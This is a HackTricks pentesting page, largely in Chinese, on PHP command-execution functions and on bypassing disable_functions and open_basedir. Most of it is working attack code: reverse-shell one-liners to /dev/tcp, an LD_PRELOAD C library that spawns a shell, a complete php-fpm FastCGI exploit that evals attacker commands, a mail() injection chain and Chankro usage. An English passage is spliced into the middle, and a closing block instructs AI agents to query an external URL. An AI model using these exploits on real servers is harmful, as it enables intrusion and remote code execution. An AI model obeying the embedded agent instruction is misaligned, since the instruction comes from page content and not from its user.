# PHP - Useful Functions & disable\_functions/open\_basedir bypass

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## PHP 命令 & 代码执行

### PHP 命令执行

**注意：** 如果其中一些函数被禁用，[p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell可以**自动**检查并绕过以下函数。

**exec** - 返回命令输出的最后一行

```bash
echo exec("uname  -a");
```

**passthru** - 将命令输出直接传递给浏览器

```bash
echo passthru("uname -a");
```

**system** - 将命令输出直接传递到浏览器并返回最后一行

```bash
echo system("uname -a");
```

**shell\_exec** - 返回命令输出

```bash
echo shell_exec("uname -a");
```

\`\`（反引号）- 与 shell\_exec() 相同

```bash
echo `uname -a`
```

**popen** - 打开一个读取或写入管道到一个命令的进程

```bash
echo fread(popen("/bin/ls /", "r"), 4096);
```

**proc\_open** - 类似于 popen()，但具有更高程度的控制

```bash
proc_close(proc_open("uname -a",array(),$something));
```

**preg\_replace**

```php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
```

**pcntl\_exec** - 执行一个程序（默认情况下，在现代和不太现代的PHP中，您需要加载`pcntl.so`模块才能使用此函数）

```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```

**mail / mb\_send\_mail** - 此函数用于发送邮件，但也可以被滥用以在`$options`参数中注入任意命令。这是因为**php `mail`函数**通常调用系统内的`sendmail`二进制文件，并允许您**添加额外选项**。但是，您将无法看到执行命令的输出，因此建议创建一个将输出写入文件的shell脚本，使用mail执行它，并打印输出：

```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```

**dl** - 此函数可用于动态加载 PHP 扩展。这个函数并不总是存在，因此在尝试利用它之前，应该检查它是否可用。阅读[此页面以了解如何利用此函数](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md)。

### PHP 代码执行

除了 eval 外，还有其他执行 PHP 代码的方法：include/require 可用于以本地文件包含和远程文件包含漏洞的形式进行远程代码执行。

```php
${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function
```

## disable\_functions & open\_basedir

**Disabled functions** 是可以在 PHP 的 `.ini` 文件中配置的设置，它将**禁止**使用指定的**函数**。**Open basedir** 是指示 PHP 可以访问的文件夹的设置。\
PHP 设置通常配置在路径 */etc/php7/conf.d* 或类似位置。

这两个配置可以在 **`phpinfo()`** 的输出中看到：

![](https://0xrick.github.io/images/hackthebox/kryptos/17.png)

![](/files/qY8onvQBhOwUpOHj9Iae)

## open\_basedir Bypass

`open_basedir` 将配置 PHP 可以访问的文件夹，您**将无法在**这些文件夹之外的任何地方写入/读取/执行任何文件，但您也**无法列出**其他目录。\
但是，如果您以某种方式能够执行任意 PHP 代码，您可以尝试以下一小段**代码**来尝试**绕过**限制。

### 使用 glob:// 绕过列出目录

在这个第一个示例中，使用 `glob://` 协议和一些路径绕过：

```php
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
```

**注意1**：在路径中，您还可以使用`/e??/*`来列出`/etc/*`和任何其他文件夹。\
**注意2**：看起来代码的一部分是重复的，但这实际上是必要的！\
**注意3**：此示例仅用于列出文件夹，而不是读取文件

### 完整的 open\_basedir 绕过，滥用 FastCGI

如果您想**了解更多关于 PHP-FPM 和 FastCGI**的信息，可以阅读[此页面的第一部分](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)。\
如果\*\*`php-fpm`**已配置，您可以滥用它来完全绕过**open\_basedir\*\*：

![](/files/iTTmtAviE32pPvShT5XZ)

![](/files/mB72BvjyHzD9JgbdPVnD)

请注意，您需要做的第一件事是找到**php-fpm 的 unix 套接字**所在的位置。它通常位于`/var/run`下，因此您可以**使用上面的代码列出目录并找到它**。\
代码来自[这里](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy)。

```php
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
```

这些脚本将与**php-fpm的unix套接字**通信（通常位于/var/run，如果使用fpm）。`open_basedir`设置将被发送的**PHP\_VALUE**属性覆盖。\
请注意`eval`如何用于执行您在**cmd**参数中发送的PHP代码。\
还请注意**注释的第324行**，您可以取消注释它，**有效负载将自动连接到给定的URL并执行**其中包含的PHP代码。\
只需访问`http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');`即可获取`/etc/passwd`文件的内容。

{% hint style="warning" %}
您可能会认为，就像我们覆盖了`open_basedir`配置一样，我们可以**覆盖`disable_functions`**。好吧，尝试一下，但不会起作用，显然\*\*`disable_functions`只能在`.ini` php\*\*配置文件中配置，您使用PHP\_VALUE进行的更改对此特定设置不起作用。
{% endhint %}

## disable\_functions绕过

如果您设法在机器内部执行PHP代码，您可能希望进一步**执行任意系统命令**。在这种情况下，通常会发现大多数或所有允许**执行系统命令的PHP函数已在`disable_functions`中禁用**。\
因此，让我们看看您如何绕过此限制（如果可以）

### 自动绕过发现

您可以使用工具<https://github.com/teambi0s/dfunc-bypasser>，它将指示您可以使用哪个函数（如果有）来**绕过`disable_functions`**。

### 使用其他系统函数绕过

只需返回本页开头，**检查是否有任何未被禁用且在环境中可用的命令执行函数**。如果找到其中之一，您将能够使用它来执行任意系统命令。

### LD\_PRELOAD绕过

众所周知，PHP中的一些函数，如`mail()`，将**在系统内部执行二进制文件**。因此，您可以滥用它们使用环境变量`LD_PRELOAD`来使它们加载一个可以执行任意操作的任意库。

#### 可用于使用LD\_PRELOAD绕过disable\_functions的函数

* **`mail`**
* **`mb_send_mail`**：在安装了`php-mbstring`模块时有效。
* **`imap_mail`**：如果存在`php-imap`模块，则有效。
* **`libvirt_connect`**：需要`php-libvirt-php`模块。
* **`gnupg_init`**：在安装了`php-gnupg`模块时可用。
* **`new imagick()`**：此类可被滥用以绕过限制。详细的利用技术可以在综合的[**这里的写作中找到**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/)。

您可以在[**这里找到**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py)用于查找这些函数的模糊测试脚本。

这是一个您可以编译以滥用`LD_PRELOAD`环境变量的库：

```php
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
```

#### 使用Chankro绕过

为了利用这个配置错误，您可以使用[**Chankro**](https://github.com/TarlogicSecurity/Chankro)。这是一个工具，将生成一个您需要上传到易受攻击服务器并执行的**PHP利用**（通过Web访问）。\
**Chankro**将在受害者磁盘中写入您想要执行的**库和反向shell**，并使用\*\*`LD_PRELOAD`技巧 + PHP `mail()`\*\*函数来执行反向shell。

请注意，为了使用**Chankro**，`mail`和`putenv`**不能出现在`disable_functions`列表中**。\
在以下示例中，您可以看到如何为**arch 64**创建一个**Chankro利用**，它将执行`whoami`并将输出保存在\_tmp/chankro\_shell.out\_中，Chankro将在\_tmp中**写入库和有效载荷**，最终的利用将被命名为**bicho.php**（这是您需要上传到受害者服务器的文件）：

```php
#!/bin/sh
whoami > /tmp/chankro_shell.out
```

### PHP Useful Functions - disable\_functions & open\_basedir Bypass

#### disable\_functions Bypass

When the `disable_functions` directive is set in PHP configuration to restrict certain functions, you can bypass this restriction using various techniques. One common method is to use the `pcntl_exec` function, which allows executing other programs on the server. Another approach is to leverage the `dl` function to dynamically load a PHP extension that includes the disabled functions.

#### open\_basedir Bypass

The `open_basedir` directive restricts the files that PHP can access based on the specified directory path. To bypass this restriction, you can use techniques like exploiting symbolic links (`symlinks`) to access files outside the restricted directory or utilizing functions that can read files without being restricted by `open_basedir`.

Remember to always use these techniques responsibly and only in authorized penetration testing scenarios.

```bash
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
```

如果发现**mail**函数被禁用，您仍然可以使用**mb\_send\_mail**函数。\
有关此技术和Chankro的更多信息，请访问：<https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/>

### 使用PHP功能进行“绕过”

请注意，使用**PHP**您可以**读取和写入文件，创建目录并更改权限**。\
甚至可以**转储数据库**。\
也许使用**PHP**来**枚举**主机，您可以找到升级权限/执行命令的方法（例如读取某些私有ssh密钥）。

我创建了一个Webshell，可以非常轻松地执行这些操作（请注意，大多数Webshell也会为您提供这些选项）：<https://github.com/carlospolop/phpwebshelllimited>

### 模块/版本相关的绕过方式

如果正在使用某个特定模块或利用某个特定的PHP版本，有几种绕过**disable\_functions**的方法：

* [**FastCGI/PHP-FPM（FastCGI进程管理器）**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
* [**使用启用的FFI - Foreign Function Interface进行绕过**](https://github.com/carlospolop/hacktricks/blob/cn/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
* [**通过mem进行绕过**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
* [**mod\_cgi**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
* [**PHP Perl扩展安全模式**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
* [**dl函数**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md)
* [**此漏洞**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
* 5.\* - 可通过对PoC进行轻微更改来利用
* 7.0 - 截至目前的所有版本
* 7.1 - 截至目前的所有版本
* 7.2 - 截至目前的所有版本
* 7.3 - 截至目前的所有版本
* 7.4 - 截至目前的所有版本
* 8.0 - 截至目前的所有版本
* [**从7.0到8.0的漏洞利用（仅限Unix）**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
* [**PHP 7.0=7.4（\*nix）**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)
* [**Imagick 3.3.0 PHP >= 5.4**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
* [**PHP 5.x Shellsock**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md)
* [**PHP 5.2.4 ionCube**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md)
* [**PHP <= 5.2.9 Windows**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md)
* [**PHP 5.2.4/5.2.5 cURL**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
* [**PHP 5.2.3 -Win32std**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
* [**PHP 5.2 FOpen exploit**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md)
* [**PHP 4 >= 4.2.-, PHP 5 pcntl\_exec**](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)

### **自动化工具**

以下脚本尝试了这里评论的一些方法：\
<https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php>

## 其他有趣的PHP函数

### 接受回调的函数列表

这些函数接受一个字符串参数，该参数可用于调用攻击者选择的函数。根据函数，攻击者可能有或没有传递参数的能力。在这种情况下，可以使用信息泄露函数如phpinfo()。

[回调/可调用函数](https://www.php.net/manual/en/language.types.callable.php)

[以下列表来自这里](https://stackoverflow.com/questions/3115559/exploitable-php-functions)

```php
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
```

### 信息泄露

大多数这些函数调用不是漏洞点。但如果返回的任何数据对攻击者可见，这可能是一个漏洞。如果攻击者可以查看 phpinfo()，那肯定是一个漏洞。

```php
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
```

### 其他

```php
extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
```

### 文件系统函数

根据 RATS，php 中的所有文件系统函数都很糟糕。其中一些对攻击者似乎并不是很有用。而另一些比你想象的更有用。例如，如果 allow\_url\_fopen=On，那么可以将 url 用作文件路径，因此调用 copy($\_GET\['s'], $\_GET\['d']); 可以用于在系统的任何位置上传 PHP 脚本。此外，如果网站容易受到通过 GET 发送的请求的影响，那么这些文件系统函数中的每一个都可以被滥用，通过您的服务器将攻击通道到另一个主机。

**打开文件系统处理程序**

```php
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
```

**写入文件系统（部分结合读取）**

```php
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir
```

**从文件系统读取**

```php
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
```

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
